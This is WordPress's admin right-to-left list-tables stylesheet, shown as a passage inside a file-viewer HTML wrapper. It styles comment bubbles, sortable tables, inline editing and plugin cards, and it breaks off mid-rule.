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<div class='alert alert-info'><strong>/home/tahkoom/public_html/wp-admin/css/list-tables-rtl.css</strong></div><pre class='file-content'>/*! This file is auto-generated */
.response-links {
	display: block;
	margin-bottom: 1em;
}

.response-links a {
	display: block;
}

.response-links a.comments-edit-item-link {
	font-weight: 600;
}

.response-links a.comments-view-item-link {
	font-size: 12px;
}

.post-com-count-wrapper strong {
	font-weight: 400;
}

.comments-view-item-link {
	display: inline-block;
	clear: both;
}

.column-response .post-com-count-wrapper,
.column-comments .post-com-count-wrapper {
	white-space: nowrap;
	word-wrap: normal;
}

/* comments bubble common */
.column-response .post-com-count,
.column-comments .post-com-count {
	display: inline-block;
	vertical-align: top;
}

/* comments bubble approved */
.column-response .post-com-count-no-comments,
.column-response .post-com-count-approved,
.column-comments .post-com-count-no-comments,
.column-comments .post-com-count-approved {
	margin-top: 5px;
}

.column-response .comment-count-no-comments,
.column-response .comment-count-approved,
.column-comments .comment-count-no-comments,
.column-comments .comment-count-approved {
	box-sizing: border-box;
	display: block;
	padding: 0 8px;
	min-width: 24px;
	height: 2em;
	border-radius: 5px;
	background-color: #646970;
	color: #fff;
	font-size: 11px;
	line-height: 1.90909090;
	text-align: center;
}

.column-response .post-com-count-no-comments:after,
.column-response .post-com-count-approved:after,
.column-comments .post-com-count-no-comments:after,
.column-comments .post-com-count-approved:after {
	content: &quot;&quot;;
	display: block;
	margin-right: 8px;
	width: 0;
	height: 0;
	border-top: 5px solid #646970;
	border-left: 5px solid transparent;
}

.column-response a.post-com-count-approved:hover .comment-count-approved,
.column-response a.post-com-count-approved:focus .comment-count-approved,
.column-comments a.post-com-count-approved:hover .comment-count-approved,
.column-comments a.post-com-count-approved:focus .comment-count-approved {
	background: #2271b1;
}

.column-response a.post-com-count-approved:hover:after,
.column-response a.post-com-count-approved:focus:after,
.column-comments a.post-com-count-approved:hover:after,
.column-comments a.post-com-count-approved:focus:after {
	border-top-color: #2271b1;
}

/* @todo: consider to use a single rule for these counters and the admin menu counters. */
.column-response .post-com-count-pending,
.column-comments .post-com-count-pending {
	position: relative;
	right: -3px;
	padding: 0 5px;
	min-width: 7px;
	height: 17px;
	border: 2px solid #fff;
	border-radius: 11px;
	background: #d63638;
	color: #fff;
	font-size: 9px;
	line-height: 1.88888888;
	text-align: center;
}

.column-response .post-com-count-no-pending,
.column-comments .post-com-count-no-pending {
	display: none;
}

/* comments */

.commentlist li {
	padding: 1em 1em .2em;
	margin: 0;
	border-bottom: 1px solid #c3c4c7;
}

.commentlist li li {
	border-bottom: 0;
	padding: 0;
}

.commentlist p {
	padding: 0;
	margin: 0 0 .8em;
}

#submitted-on,
.submitted-on {
	color: #50575e;
}

/* reply to comments */
#replyrow td {
	padding: 2px;
}

#replysubmit {
	margin: 0;
	padding: 5px 7px 10px;
	overflow: hidden;
}

#replysubmit .reply-submit-buttons {
	margin-bottom: 0;
}

#replysubmit .button {
	margin-left: 5px;
}

#replysubmit .spinner {
	float: none;
	margin: -4px 0 0;
}

#replyrow.inline-edit-row fieldset.comment-reply {
	font-size: inherit;
	line-height: inherit;
}

#replyrow legend {
	margin: 0;
	padding: .2em 5px 0;
	font-size: 13px;
	line-height: 1.4;
	font-weight: 600;
}

#replyrow.inline-edit-row label {
	display: inline;
	vertical-align: baseline;
	line-height: inherit;
}

#edithead .inside,
#commentsdiv #edithead .inside {
	float: right;
	padding: 3px 5px 2px 0;
	margin: 0;
	text-align: center;
}

#edithead .inside input {
	width: 180px;
}

#edithead label {
	padding: 2px 0;
}

#replycontainer {
	padding: 5px;
}

#replycontent {
	height: 120px;
	box-shadow: none;
}

#replyerror {
	border-color: #dcdcde;
	background-color: #f6f7f7;
}

/* @todo: is this used? */
.commentlist .avatar {
	vertical-align: text-top;
}

#the-comment-list tr.undo,
#the-comment-list div.undo {
	background-color: #f6f7f7;
}

#the-comment-list .unapproved th,
#the-comment-list .unapproved td {
	background-color: #fcf9e8;
}

#the-comment-list .unapproved th.check-column {
	border-right: 4px solid #d63638;
}

#the-comment-list .unapproved th.check-column input {
	margin-right: 4px;
}

#the-comment-list .approve a {
	color: #007017;
}

#the-comment-list .unapprove a {
	color: #996800;
}

#the-comment-list th,
#the-comment-list td {
	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
}

#the-comment-list tr:last-child th,
#the-comment-list tr:last-child td {
	box-shadow: none;
}

#the-comment-list tr.unapproved + tr.approved th,
#the-comment-list tr.unapproved + tr.approved td {
	border-top: 1px solid rgba(0, 0, 0, 0.03);
}

/* table vim shortcuts */
.vim-current,
.vim-current th,
.vim-current td {
	background-color: #f0f6fc !important;
}

th .comment-grey-bubble {
	width: 16px;
	/* Make sure the link clickable area fills the entire table header. */
	position: relative;
	top: 2px;
}

th .comment-grey-bubble:before {
	content: &quot;\f101&quot;;
	font: normal 20px/.5 dashicons;
	speak: never;
	display: inline-block;
	padding: 0;
	top: 4px;
	right: -4px;
	position: relative;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
	color: #3c434a;
}

/*------------------------------------------------------------------------------
  10.0 - List Posts (/Pages/etc)
------------------------------------------------------------------------------*/

table.fixed {
	table-layout: fixed;
}

.fixed .column-rating,
.fixed .column-visible {
	width: 8%;
}

.fixed .column-posts,
.fixed .column-parent,
.fixed .column-links,
.fixed .column-author,
.fixed .column-format {
	width: 10%;
}

.fixed .column-date {
	width: 14%;
}

.column-date span[title] {
	-webkit-text-decoration: dotted underline;
	text-decoration: dotted underline;
}

.fixed .column-posts {
	width: 74px;
}

.fixed .column-role,
.fixed .column-posts {
	hyphens: auto;
}

.fixed .column-comment .comment-author {
	display: none;
}

.fixed .column-response,
.fixed .column-categories,
.fixed .column-tags,
.fixed .column-rel,
.fixed .column-role {
	width: 15%;
}

.fixed .column-slug {
	width: 25%;
}

.fixed .column-locations {
	width: 35%;
}

.fixed .column-comments {
	width: 5.5em;
	text-align: right;
}

.fixed .column-comments .vers {
	padding-right: 3px;
}

td.column-title strong,
td.plugin-title strong {
	display: block;
	margin-bottom: .2em;
	font-size: 14px;
}

td.column-title p,
td.plugin-title p {
	margin: 6px 0;
}

/* Media file column */
table.media .column-title .media-icon {
	float: right;
	min-height: 60px;
	margin: 0 0 0 9px;
}

table.media .column-title .media-icon img {
	max-width: 60px;
	height: auto;
	vertical-align: top; /* Remove descender white-space. */
}

table.media .column-title .has-media-icon ~ .row-actions {
	margin-right: 70px; /* 60px image + margin */
}

table.media .column-title .filename {
	margin-bottom: 0.2em;
}

/* Media Copy to clipboard row action */
.media .row-actions .copy-to-clipboard-container {
	display: inline;
	position: relative;
}

.media .row-actions .copy-to-clipboard-container .success {
	position: absolute;
	right: 50%;
	transform: translate(50%, -100%);
	background: #000;
	color: #fff;
	border-radius: 5px;
	margin: 0;
	padding: 2px 5px;
}

/* @todo: pick a consistent list table selector */
.wp-list-table a {
	transition: none;
}

#the-list tr:last-child td,
#the-list tr:last-child th {
	border-bottom: none !important;
	box-shadow: none;
}

#comments-form .fixed .column-author {
	width: 20%;
}

#commentsdiv.postbox .inside {
	margin: 0;
	padding: 0;
}

#commentsdiv .inside .row-actions {
	line-height: 1.38461538;
}

#commentsdiv .inside .column-author {
	width: 25%;
}

#commentsdiv .column-comment p {
	margin: 0.6em 0;
	padding: 0;
}

#commentsdiv #replyrow td {
	padding: 0;
}

#commentsdiv p {
	padding: 8px 10px;
	margin: 0;
}

#commentsdiv .comments-box {
	border: 0 none;
}

#commentsdiv .comments-box thead th,
#commentsdiv .comments-box thead td {
	background: transparent;
	padding: 0 7px 4px;
}

#commentsdiv .comments-box tr:last-child td {
	border-bottom: 0 none;
}

#commentsdiv #edithead .inside input {
	width: 160px;
}

.sorting-indicators {
	display: grid;
}

.sorting-indicator {
	display: block;
	width: 10px;
	height: 4px;
	margin-top: 4px;
	margin-right: 7px;
}

.sorting-indicator:before {
	font: normal 20px/1 dashicons;
	speak: never;
	display: inline-block;
	padding: 0;
	top: -4px;
	right: -8px;
	line-height: 0.5;
	position: relative;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
	color: #a7aaad;
}

.sorting-indicator.asc:before {
	content: &quot;\f142&quot;;
}

.sorting-indicator.desc:before {
	content: &quot;\f140&quot;;
}

th.sorted.desc .sorting-indicator.desc:before {
	color: #1d2327;
}

th.sorted.asc .sorting-indicator.asc:before {
	color: #1d2327;
}

th.sorted.asc a:focus .sorting-indicator.asc:before,
th.sorted.asc:hover .sorting-indicator.asc:before,
th.sorted.desc a:focus .sorting-indicator.desc:before,
th.sorted.desc:hover .sorting-indicator.desc:before {
	color: #a7aaad;
}

th.sorted.asc a:focus .sorting-indicator.desc:before,
th.sorted.asc:hover .sorting-indicator.desc:before,
th.sorted.desc a:focus .sorting-indicator.asc:before,
th.sorted.desc:hover .sorting-indicator.asc:before {
	color: #1d2327;
}

.wp-list-table .toggle-row {
	position: absolute;
	left: 8px;
	top: 10px;
	display: none;
	padding: 0;
	width: 40px;
	height: 40px;
	border: none;
	outline: none;
	background: transparent;
}

.wp-list-table .toggle-row:hover {
	cursor: pointer;
}

.wp-list-table .toggle-row:focus:before {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-list-table .toggle-row:active {
	box-shadow: none;
}

.wp-list-table .toggle-row:before {
	position: absolute;
	top: -5px;
	right: 10px;
	border-radius: 50%;
	display: block;
	padding: 1px 0 1px 2px;
	color: #3c434a; /* same as table headers sort arrows */
	content: &quot;\f140&quot;;
	font: normal 20px/1 dashicons;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	speak: never;
}

.wp-list-table .is-expanded .toggle-row:before {
	content: &quot;\f142&quot;;
}

.check-column {
	position: relative;
}

.check-column label {
	box-sizing: border-box;
	width: 100%;
	height: 100%;
	display: block;
	position: absolute;
	top: 0;
	right: 0;
}

.check-column input {
	position: relative;
	z-index: 1;
}

.check-column .label-covers-full-cell:hover + input:not(:disabled) {
	box-shadow: 0 0 0 1px #2271b1;
}

.check-column label:hover,
.check-column input:hover + label {
	background: rgba(0, 0, 0, 0.05);
}

.locked-indicator {
	display: none;
	margin-right: 6px;
	height: 20px;
	width: 16px;
}

.locked-indicator-icon:before {
	color: #8c8f94;
	content: &quot;\f160&quot;;
	display: inline-block;
	font: normal 20px/1 dashicons;
	speak: never;
	vertical-align: middle;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.locked-info {
	display: none;
	margin-top: 4px;
}

.locked-text {
	vertical-align: top;
}

.wp-locked .locked-indicator,
.wp-locked .locked-info {
	display: block;
}

tr.wp-locked .check-column label,
tr.wp-locked .check-column input[type=&quot;checkbox&quot;],
tr.wp-locked .row-actions .inline,
tr.wp-locked .row-actions .trash {
	display: none;
}

#menu-locations-wrap .widefat {
	width: 60%;
}

.widefat th.sortable,
.widefat th.sorted {
	padding: 0;
}

th.sortable a,
th.sorted a {
	display: block;
	overflow: hidden;
	padding: 8px;
}

th.sortable a:focus,
th.sorted a:focus {
	box-shadow: inset 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

th.sortable a span,
th.sorted a span {
	float: right;
	cursor: pointer;
}

.tablenav-pages .current-page {
	margin: 0 0 0 2px;
	font-size: 13px;
	text-align: center;
}

.tablenav .total-pages {
	margin-left: 2px;
}

.tablenav #table-paging {
	margin-right: 2px;
}

.tablenav {
	clear: both;
	height: 30px;
	margin: 6px 0 4px;
	padding-top: 5px;
	vertical-align: middle;
}

.tablenav.themes {
	max-width: 98%;
}

.tablenav .tablenav-pages {
	float: left;
	margin: 0 0 9px;
}

.tablenav .no-pages,
.tablenav .one-page .pagination-links {
	display: none;
}

.tablenav .tablenav-pages .button,
.tablenav .tablenav-pages .tablenav-pages-navspan {
	display: inline-block;
	vertical-align: baseline;
	min-width: 30px;
	min-height: 30px;
	margin: 0;
	padding: 0 4px;
	font-size: 16px;
	line-height: 1.625; /* 26px */
	text-align: center;
}

.tablenav .displaying-num {
	margin-left: 7px;
}

.tablenav .one-page .displaying-num {
	display: inline-block;
	margin: 5px 0;
}

.tablenav .actions {
	padding: 0 0 0 8px;
}

.wp-filter .actions {
	display: inline-block;
	vertical-align: middle;
}

.tablenav .delete {
	margin-left: 20px;
}

/* This view-switcher is still used on multisite. */
.tablenav .view-switch {
	float: left;
	margin: 0 5px;
	padding-top: 3px;
}

.wp-filter .view-switch {
	display: inline-block;
	vertical-align: middle;
	padding: 12px 0;
	margin: 0 2px 0 8px;
}

.media-toolbar.wp-filter .view-switch {
	margin: 0 2px 0 12px;
}

.view-switch a {
	float: right;
	width: 28px;
	height: 28px;
	text-align: center;
	line-height: 1.84615384;
	text-decoration: none;
}

.view-switch a:before {
	color: #c3c4c7;
	display: inline-block;
	font: normal 20px/1 dashicons;
	speak: never;
	vertical-align: middle;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.view-switch a:hover:before,
.view-switch a:focus:before {
	color: #787c82;
}

.view-switch a.current:before {
	color: #2271b1;
}

.view-switch .view-list:before {
	content: &quot;\f163&quot;;
}

.view-switch .view-excerpt:before {
	content: &quot;\f164&quot;;
}

.view-switch .view-grid:before {
	content: &quot;\f509&quot;;
}

.filter {
	float: right;
	margin: -5px 10px 0 0;
}

.filter .subsubsub {
	margin-right: -10px;
	margin-top: 13px;
}
.screen-per-page {
	width: 4em;
}

#posts-filter .wp-filter {
	margin-bottom: 0;
}

#posts-filter fieldset {
	float: right;
	margin: 0 0 1em 1.5ex;
	padding: 0;
}

#posts-filter fieldset legend {
	padding: 0 1px .2em 0;
}

p.pagenav {
	margin: 0;
	display: inline;
}

.pagenav span {
	font-weight: 600;
	margin: 0 6px;
}

.row-title {
	font-size: 14px !important;
	font-weight: 600;
}

.column-comment .comment-author {
	margin-bottom: 0.6em;
}

.column-author img,
.column-username img,
.column-comment .comment-author img {
	float: right;
	margin-left: 10px;
	margin-top: 1px;
}

.row-actions {
	color: #a7aaad;
	font-size: 13px;
	padding: 2px 0 0;
	position: relative;
	right: -9999em;
}

/* ticket #34150 */
.rtl .row-actions a {
	display: inline-block;
}

.row-actions .network_only,
.row-actions .network_active {
	color: #000;
}

.no-js .row-actions,
tr:hover .row-actions,
.mobile .row-actions,
.row-actions.visible,
.comment-item:hover .row-actions {
	position: static;
}

/* deprecated */
.row-actions-visible {
	padding: 2px 0 0;
}


/*------------------------------------------------------------------------------
  10.1 - Inline Editing
------------------------------------------------------------------------------*/

/*
.quick-edit* is for Quick Edit
.bulk-edit* is for Bulk Edit
.inline-edit* is for everything
*/

/*	Layout */

#wpbody-content .inline-edit-row fieldset {
	float: right;
	margin: 0;
	padding: 0 0 0 12px;
	width: 100%;
	box-sizing: border-box;
}

#wpbody-content .inline-edit-row td fieldset:last-of-type {
	padding-left: 0;
}

tr.inline-edit-row td {
	padding: 0;
	/* Prevents the focus style on .inline-edit-wrapper from being cut-off */
	position: relative;
}

.inline-edit-wrapper {
	display: flow-root;
	padding: 0 12px;
	border: 1px solid transparent;
	border-radius: 4px;
}

.inline-edit-wrapper:focus {
	border-color: #2271b1;
	box-shadow: 0 0 0 1px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

#wpbody-content .quick-edit-row-post .inline-edit-col-left {
	width: 40%;
}

#wpbody-content .quick-edit-row-post .inline-edit-col-right {
	width: 39%;
}

#wpbody-content .inline-edit-row-post .inline-edit-col-center {
	width: 20%;
}

#wpbody-content .quick-edit-row-page .inline-edit-col-left {
	width: 50%;
}

#wpbody-content .quick-edit-row-page .inline-edit-col-right,
#wpbody-content .bulk-edit-row-post .inline-edit-col-right {
	width: 50%;
}

#wpbody-content .bulk-edit-row .inline-edit-col-left {
	width: 30%;
}

#wpbody-content .bulk-edit-row-page .inline-edit-col-right {
	width: 69%;
}

#wpbody-content .bulk-edit-row .inline-edit-col-bottom {
	float: left;
	width: 69%;
}

#wpbody-content .inline-edit-row-page .inline-edit-col-right {
	margin-top: 27px;
}

.inline-edit-row fieldset .inline-edit-group {
	clear: both;
	line-height: 2.5;
}

.inline-edit-row .submit {
	display: flex;
	flex-wrap: wrap;
	align-items: center;
	clear: both;
	margin: 0;
	padding: 0.5em 0 1em;
}

.inline-edit-save.submit .button {
	margin-left: 8px;
}

.inline-edit-save .spinner {
	float: none;
	margin: 0;
}

.inline-edit-row .notice-error {
	box-sizing: border-box;
	min-width: 100%;
	margin-top: 1em;
}

.inline-edit-row .notice-error .error {
	margin: 0.5em 0;
	padding: 2px;
}

/*	Positioning */

/* Needs higher specificity for the padding */
#the-list .inline-edit-row .inline-edit-legend {
	margin: 0;
	padding: 0.2em 0;
	line-height: 2.5;
	font-weight: 600;
}

.inline-edit-row fieldset span.title,
.inline-edit-row fieldset span.checkbox-title {
	margin: 0;
	padding: 0;
}

.inline-edit-row fieldset label,
.inline-edit-row fieldset span.inline-edit-categories-label {
	display: block;
	margin: .2em 0;
	line-height: 2.5;
}

.inline-edit-row fieldset.inline-edit-date label {
	display: inline-block;
	margin: 0;
	vertical-align: baseline;
	line-height: 2;
}

.inline-edit-row fieldset label.inline-edit-tags {
	margin-top: 0;
}

.inline-edit-row fieldset label.inline-edit-tags span.title {
	margin: .2em 0;
	width: auto;
}

.inline-edit-row fieldset label span.title,
.inline-edit-row fieldset.inline-edit-date legend {
	display: block;
	float: right;
	width: 6em;
	line-height: 2.5;
}

#posts-filter fieldset.inline-edit-date legend {
	padding: 0;
}

.inline-edit-row fieldset label span.input-text-wrap,
.inline-edit-row fieldset .timestamp-wrap {
	display: block;
	margin-right: 6em;
}

.quick-edit-row-post fieldset.inline-edit-col-right label span.title {
	width: auto;
	padding-left: 0.5em;
}

.inline-edit-row .inline-edit-or {
	margin: .2em 0 .2em 6px;
	line-height: 2.5;
}

.inline-edit-row .input-text-wrap input[type=text] {
	width: 100%;
}

.inline-edit-row fieldset label input[type=checkbox] {
	vertical-align: middle;
}

.inline-edit-row fieldset label textarea {
	width: 100%;
	height: 4em;
	vertical-align: top;
}

#wpbody-content .bulk-edit-row fieldset .inline-edit-group label {
	max-width: 50%;
}

#wpbody-content .quick-edit-row fieldset .inline-edit-group label.alignleft:first-child {
	margin-left: 0.5em
}

.inline-edit-col-right .input-text-wrap input.inline-edit-menu-order-input {
	width: 6em;
}

/*	Styling */
.inline-edit-row .inline-edit-legend {
	text-transform: uppercase;
}

/*	Specific Elements */
.inline-edit-row fieldset .inline-edit-date {
	float: right;
}

.inline-edit-row fieldset input[name=jj],
.inline-edit-row fieldset input[name=hh],
.inline-edit-row fieldset input[name=mn],
.inline-edit-row fieldset input[name=aa] {
	vertical-align: middle;
	text-align: center;
	padding: 0 4px;
}

.inline-edit-row fieldset label input.inline-edit-password-input {
	width: 8em;
}

#bulk-titles-list,
#bulk-titles-list li,
.inline-edit-row fieldset ul.cat-checklist li,
.inline-edit-row fieldset ul.cat-checklist input {
	margin: 0;
	position: relative; /* RTL fix, #WP27629 */
}

.inline-edit-row fieldset ul.cat-checklist input {
	margin-top: -1px;
	margin-right: 3px;
}

.inline-edit-row fieldset label input.inline-edit-menu-order-input {
	width: 3em;
}

.inline-edit-row fieldset label input.inline-edit-slug-input {
	width: 75%;
}

.inline-edit-row select[name=&quot;post_parent&quot;],
.inline-edit-row select[name=&quot;page_template&quot;] {
	max-width: 80%;
}

.quick-edit-row-post fieldset label.inline-edit-status {
	float: right;
}

#bulk-titles,
ul.cat-checklist {
	height: 14em;
	border: 1px solid #ddd;
	margin: 0 0 5px;
	padding: 0.2em 5px;
	overflow-y: scroll;
}

ul.cat-checklist input[name=&quot;post_category[]&quot;]:indeterminate::before {
	content: '';
	border-top: 2px solid grey;
	width: 65%;
	height: 2px;
	position: absolute;
	top: calc( 50% + 1px );
	right: 50%;
	transform: translate( 50%, -50% );
}

#bulk-titles .ntdelbutton,
#bulk-titles .ntdeltitle,
.inline-edit-row fieldset ul.cat-checklist label {
	display: inline-block;
	margin: 0;
	padding: 3px 0;
	line-height: 20px;
	vertical-align: top;
}

#bulk-titles .ntdelitem {
	padding-right: 23px;
}

#bulk-titles .ntdelbutton {
	width: 26px;
	height: 26px;
	margin: 0 -26px 0 0;
	text-align: center;
	border-radius: 3px;
}

#bulk-titles .ntdelbutton:before {
	display: inline-block;
	vertical-align: top;
}

#bulk-titles .ntdelbutton:focus {
	box-shadow: 0 0 0 2px #3582c4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	/* Reset inherited offset from Gutenberg */
	outline-offset: 0;
}

/*------------------------------------------------------------------------------
  17.0 - Plugins
------------------------------------------------------------------------------*/

.plugins tbody th.check-column,
.plugins tbody {
	padding: 8px 2px 0 0;
}

.plugins tbody th.check-column input[type=checkbox] {
	margin-top: 4px;
}

.updates-table .plugin-title p {
	margin-top: 0;
}

.plugins thead td.check-column,
.plugins tfoot td.check-column,
.plugins .inactive th.check-column {
	padding-right: 6px;
}

.plugins,
.plugins th,
.plugins td {
	color: #000;
}

.plugins tr {
	background: #fff;
}

.plugins p {
	margin: 0 4px;
	padding: 0;
}

.plugins .desc p {
	margin: 0 0 8px;
}

.plugins td.desc {
	line-height: 1.5;
}

.plugins .desc ul,
.plugins .desc ol {
	margin: 0 2em 0 0;
}

.plugins .desc ul {
	list-style-type: disc;
}

.plugins .row-actions {
	font-size: 13px;
	padding: 0;
}

.plugins .inactive td,
.plugins .inactive th,
.plugins .active td,
.plugins .active th {
	padding: 10px 9px;
}

.plugins .active td,
.plugins .active th {
	background-color: #f0f6fc;
}

.plugins .update th,
.plugins .update td {
	border-bottom: 0;
}

.plugins .inactive td,
.plugins .inactive th,
.plugins .active td,
.plugins .active th,
.plugin-install #the-list td,
.upgrade .plugins td,
.upgrade .plugins th {
	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
}

.plugins tr.active.plugin-update-tr + tr.inactive th,
.plugins tr.active.plugin-update-tr + tr.inactive td,
.plugins tr.active + tr.inactive th,
.plugins tr.active + tr.inactive td {
	border-top: 1px solid rgba(0, 0, 0, 0.03);
	box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.02), inset 0 -1px 0 #dcdcde;
}

.plugins .update td,
.plugins .update th,
.upgrade .plugins tr:last-of-type td,
.upgrade .plugins tr:last-of-type th,
.plugins tr.active + tr.inactive.update th,
.plugins tr.active + tr.inactive.update td,
.plugins .updated td,
.plugins .updated th,
.plugins tr.active + tr.inactive.updated th,
.plugins tr.active + tr.inactive.updated td {
	box-shadow: none;
}

.plugins .active th.check-column,
.plugin-update-tr.active td {
	border-right: 4px solid #72aee6;
}

.wp-list-table.plugins .plugin-title,
.wp-list-table.plugins .theme-title {
	padding-left: 12px;
	white-space: nowrap;
}

.plugins .plugin-title img,
.plugins .plugin-title .dashicons {
	float: right;
	padding: 0 0 0 10px;
	width: 64px;
	height: 64px;
}

.plugins .plugin-title .dashicons:before {
	padding: 2px;
	background-color: #f0f0f1;
	box-shadow: inset 0 0 10px rgba(167, 170, 173, 0.15);
	font-size: 60px;
	color: #c3c4c7;
}

#update-themes-table .plugin-title img,
#update-themes-table .plugin-title .dashicons {
	width: 85px;
}

.plugins .column-auto-updates {
	width: 14.2em;
}

.plugins .inactive .plugin-title strong {
	font-weight: 400;
}

.plugins .second,
.plugins .row-actions {
	padding: 0 0 5px;
}

.plugins .row-actions {
	white-space: normal;
	min-width: 12em;
}

.plugins .update .second,
.plugins .update .row-actions,
.plugins .updated .second,
.plugins .updated .row-actions {
	padding-bottom: 0;
}

.plugins-php .widefat tfoot th,
.plugins-php .widefat tfoot td {
	border-top-style: solid;
	border-top-width: 1px;
}

.plugins .plugin-update-tr .plugin-update {
	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
	overflow: hidden; /* clearfix */
	padding: 0;
}

.plugins .plugin-update-tr .notice,
.plugins .plugin-update-tr div[class=&quot;update-message&quot;] { /* back-compat for pre-4.6 */
	margin: 5px 40px 15px 20px;
}

.plugins .notice p {
	margin: 0.5em 0;
}

.plugins .plugin-description a,
.plugins .plugin-update a,
.updates-table .plugin-title a {
	text-decoration: underline;
}

.plugins tr.paused th.check-column {
	border-right: 4px solid #b32d2e;
}

.plugins tr.paused th,
.plugins tr.paused td {
	background-color: #f6f7f7;
}

.plugins tr.paused .plugin-title,
.plugins .paused .dashicons-warning {
	color: #b32d2e;
}

.plugins .paused .error-display p,
.plugins .paused .error-display code {
	font-size: 90%;
	color: rgba(0, 0, 0, 0.7);
}

.plugins .resume-link {
	color: #b32d2e;
}

.plugin-card .update-now:before {
	color: #d63638;
	content: &quot;\f463&quot;;
	display: inline-block;
	font: normal 20px/1 dashicons;
	margin: -3px -2px 0 5px;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	vertical-align: middle;
}

.plugin-card .updating-message:before {
	content: &quot;\f463&quot;;
	animation: rotation 2s infinite linear;
}

@keyframes rotation {
	0% {
		transform: rotate(0deg);
	}
	100% {
		transform: rotate(-359deg);
	}
}

.plugin-card .updated-message:before {
	color: #68de7c;
	content: &quot;\f147&quot;;
}

.plugin-install-php #the-list {
	display: flex;
	flex-wrap: wrap;
}

.plugin-install-php .plugin-card {
	display: flex;
	flex-direction: column;
	justify-content: space-between;
}

.plugin-install-php h2 {
	clear: both;
}

.plugin-install-php h3 {
	margin: 2.5em 0 8px;
}

.plugin-install-php .wp-filter {
	margin-bottom: 0;
}

/* Plugin card table view */
.plugin-group {
	overflow: hidden; /* clearfix */
	margin-top: 1.5em;
}

.plugin-group h3 {
	margin-top: 0;
}

.plugin-card {
	float: right;
	margin: 0 8px 16px;
	width: 48.5%;
	width: calc( 50% - 8px );
	background-color: #fff;
	border: 1px solid #dcdcde;
	box-sizing: border-box;
}

.plugin-card:nth-child(odd) {
	clear: both;
	margin-right: 0;
}

.plugin-card:nth-child(even) {
	margin-left: 0;
}

@media screen and (min-width: 1600px) and ( max-width: 2299px ) {
	.plugin-card {
		width: 30%;
		width: calc( 33.1% - 8px );
	}

	.plugin-card:nth-child(odd) {
		clear: none;
		margin-right: 8px;
	}

	.plugin-card:nth-child(even) {
		margin-left: 8px;
	}

	.plugin-card:nth-child(3n+1) {
		clear: both;
		margin-right: 0;
	}

	.plugin-card:nth-child(3n) {
		margin-left: 0;
	}
}

@media screen and (min-width: 2300px) {
	.plugin-card {
		width: 25%;
		width: calc( 25% - 12px );
	}

	.plugin-card:nth-child(odd) {
		clear: none;
		margin-right: 8px;
	}

	.plugin-card:nth-child(even) {
		margin-left: 8px;
	}

	.plugin-card:nth-child(4n+1) {
		clear: both;
		margin-right: 0;
	}

	.plugin-card:nth-child(4n) {
		margin-left: 0;
	}
}

.plugin-card-top {
	position: relative;
	padding: 20px 20px 10px;
	min-height: 135px;
}

div.action-links,
.plugin-action-buttons {
	margin: 0; /* Override existing margins */
}

.plugin-card h3 {
	margin: 0 0 12px 12px;
	font-size: 18px;
	line-height: 1.3;
}

.plugin-card .desc {
	margin-inline: 0;
}

.plugin-card .name, .plugin-card .desc &gt; p {
	margin-right: 148px;
}

@media (min-width: 1101px) {
	.plugin-card .name, .plugin-card .desc &gt; p {
		margin-left: 128px;
	}
}

@media (min-width: 481px) and (max-width: 781px) {
	.plugin-card .name, .plugin-card .desc &gt; p {
		margin-left: 128px;
	}
}

.plugin-card .column-description {
	display: flex;
	flex-direction: column;
	justify-content: flex-start;
}

.plugin-card .column-description &gt; p {
	margin-top: 0;
}

.plugin-card .column-description p:empty {
	display: none;
}

.plugin-card .notice.plugin-dependencies {
	margin: auto 20px 20px;
	padding: 15px;
}

.plugin-card .plugin-dependencies-explainer-text {
	margin-block: 0;
}

.plugin-card .plugin-dependency {
	align-items: center;
	display: flex;
	flex-wrap: wrap;
	margin-top: .5em;
	column-gap: 1%;
	row-gap: .5em;
}

.plugin-card .plugin-dependency:nth-child(2),
.plugin-card .plugin-dependency:last-child {
	margin-top: 1em;
}

.plugin-card .plugin-dependency-name {
	flex-basis: 74%;
}

.plugin-card .plugin-dependency .more-details-link {
	margin-right: auto;
}

.rtl .plugin-card .plugin-dependency .more-details-link {
	margin-left: auto;
}

@media (max-width: 939px) {
	.plugin-card .plugin-dependency-name {
		flex-basis: 69%;
	}
}

.plugins #the-list .required-by,
.plugins #the-list .requires {
	margin-top: 1em;
}

.plugin-card .action-links {
	position: absolute;
	top: 20px;
	left: 20px;
	width: 120px;
}

.plugin-action-buttons {
	clear: left;
	float: left;
	margin-bottom: 1em;
	text-align: left;
}

.plugin-action-buttons li {
	margin-bottom: 10px;
}

.plugin-card-bottom {
	clear: both;
	padding: 12px 20px;
	background-color: #f6f7f7;
	border-top: 1px solid #dcdcde;
	overflow: hidden;
}

.plugin-card-bottom .star-rating {
	display: inline;
}

.plugin-card-update-failed .update-now {
	font-weight: 600;
}

.plugin-card-update-failed .notice-error {
	margin: 0;
	padding-right: 16px;
	box-shadow: 0 -1px 0 #dcdcde;
}

.plugin-card-update-failed .plugin-card-bottom {
	display: none;
}

.plugin-card .column-rating {
	line-height: 1.76923076;
}

.plugin-card .column-rating,
.plugin-card .column-updated {
	margin-bottom: 4px;
}

.plugin-card .column-rating,
.plugin-card .column-downloaded {
	float: right;
	clear: right;
	max-width: 180px;
}

.plugin-card .column-updated,
.plugin-card .column-compatibility {
	text-align: left;
	float: left;
	clear: left;
	width: 65%;
	width: calc( 100% - 180px );
}

.plugin-card .column-compatibility span:before {
	font: normal 20px/.5 dashicons;
	speak: never;
	display: inline-block;
	padding: 0;
	top: 4px;
	right: -2px;
